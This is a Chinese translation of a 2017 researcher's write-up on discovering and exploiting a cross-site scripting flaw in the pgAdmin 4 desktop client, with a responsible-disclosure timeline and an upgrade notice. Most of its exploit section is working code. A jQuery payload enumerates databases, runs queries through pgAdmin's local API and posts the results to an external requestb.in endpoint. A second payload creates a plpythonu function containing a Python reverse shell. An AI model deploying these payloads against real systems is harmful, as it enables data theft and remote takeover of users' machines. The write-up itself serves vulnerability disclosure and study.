PostgreSQL管理工具pgAdmin 4中XSS漏洞的发现和利用
作者:admin | 时间:2017-4-27 02:43:44 | 分类:黑客技术 隐藏侧边栏展开侧边栏
本文我将给大家讲述我是如何发现及利用pgAdmin4桌面客户端中的XSS漏洞。在看完本文之后,请尽快升级到1.4版本。
前言
由于我一只手误触到新MacBookPro上那大得离谱的触摸板,pgAdmin 4页面不断放大缩小。这让我开始思索pgAdmin 4是否为Web应用。
如果这是一个Web应用(当时的我并没有那么肯定),我们是否可以尝试进行攻击呢?我第一件事做的就是进行简单的insert以及select操作。出乎预料的是,竟然能够完成操作!
这也意味着pgAdmin 4用户可以查看不可信数据(主要是来自Web应用的任意数据),也即存在注入攻击漏洞。接下来得找一个方法在获得的上下文中完成一些有趣的事情。我们必须要注意到2件事,一是环境对我们的限制,二是在正常环境下应用程序是如何执行各种操作的(即它是如何进行查询操作的)。
第一次失败:BeEF hook
我有尝试使用BeEF中强大的hook脚本(可戳《如何在BeEF中使用metasploit颠覆你的浏览器》进行了解),但是它未能返回连接。我这个人很不耐烦,果断放弃了这个相对来说十分快速的方法,转而使用更简单可靠的(但是比较慢)的alert对该App进行黑盒测试。尽管我有其源代码,但我想真正理解代码执行时的环境约束。对环境观察了一段时间之后发现,如果可以找到任意一个全局变量或者属于窗口的对象,或许对于我们想像用户般执行操作会有帮助。然而一无所获,大约15分钟后我就放弃了。
构造一个查询语句
得知该应用程序可以进行查询操作,我仅仅只需要弄清楚它是如何实现的就可以了。我弹出window.location获取到监听服务的端口,之后使用tcpdump进行抓包。
将本机通信流量记录下之后我执行了如下查询:
tcpdump -vvnni lo0 -w pgadmin.pcap port 53108
这使得我获得由localhost:53108发起的各种各样的API调用。通过数据包抓取获得的细节这里就不在过多阐述。对于查询操作,我将其缩小为4个步骤来执行:
1.获取数据库列表:/browser/database/nodes/1/1/ 2.初始化查询工具:'/datagrid/initialize/query_tool/1/' + id (id来自步骤1) 3.构造查询语句:'/sqleditor/query_tool/start/' + gridTransId (id来自步骤2) 4.执行查询:'/sqleditor/poll/' + gridTransId (id来自步骤2)
第二次失败
我认为对本地服务执行CSRF攻击或许有的玩,但事实证明pgAdmin每次启动端口都会改变,此外还会请求一个token令牌进行设置,就目前来看我们没得玩啊。
Exploit
以下为可用的exploit以及进行查询之后将结果发送到requestb.in的演示视频。https://youtu.be/3Dwpz5IYsCg
var query = 'select current_user, current_database()'; var exfil_url = 'http://requestb.in/1azh0xv1'; var exfil = function (data) { //alert('exfiltrating....'); $.post(exfil_url, {data: JSON.stringify(data)}, function () {
});
} // DB List $.get('/browser/database/nodes/1/1/', function (response) { var d = JSON.stringify(response.data); var doStuff = function (arr) { if (arr.length == 0) { return; // all done } var id = arr.shift()._id; // Query Tool Init $.post('/datagrid/initialize/query_tool/1/' + id, function (response) { var gridTransId = response.data.gridTransId; // Make Query $.ajax('/sqleditor/query_tool/start/' + gridTransId, {
type: 'post',
data: '"' + query + '"',
dataType: 'json',
contentType: 'application/json',
success: function(response) { // Get Results setTimeout(function () {
$.get('/sqleditor/poll/' + gridTransId, function (response) {
exfil(response.data.result); return doStuff(arr);
}).fail(function () { return doStuff(arr);
})
}, 0);
}
}).fail(function () { return doStuff(arr);
})
}).fail(function () { return doStuff(arr);
})
}
doStuff(response.data);
});
代码执行
做人如果没有梦想就跟咸鱼有什么分别!各位看客都看到这里了,我们就来搞搞RCE如何?如果连接到数据库的用户有些权限,执行以下3个请求将会帮助你获得一个非常不错的shell:
- 使用Python语言
create language plpythonu
- 创建一个调用函数,你也可以将其放进上面的PoC中:
var query = 'CREATE OR REPLACE FUNCTION pwn() RETURNS text\\nLANGUAGE plpythonu\\nAS $$\\nimport socket,subprocess,os\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\\"127.0.0.1\\",4445))\\nos.dup2(s.fileno(),0)\\nos.dup2(s.fileno(),1)\\nos.dup2(s.fileno(),2)\\na=subprocess.Popen([\\"/bin/sh\\",\\"-i\\"])\\nreturn \\"\\"\\n$$;\\n';
- 执行函数
select pwn()
时间线
03-16-2017 – 发现问题
03-17-2017 – 构造exploit
03-17-2017 – 向security@postgresql.org进行报告
03-20-2017 – Dave Page确认漏洞
03-31-2017 – 约一周后更新版本
04-10-2017 – 公布补丁
*参考来源:liftsecurity,FB小编 鸢尾 编译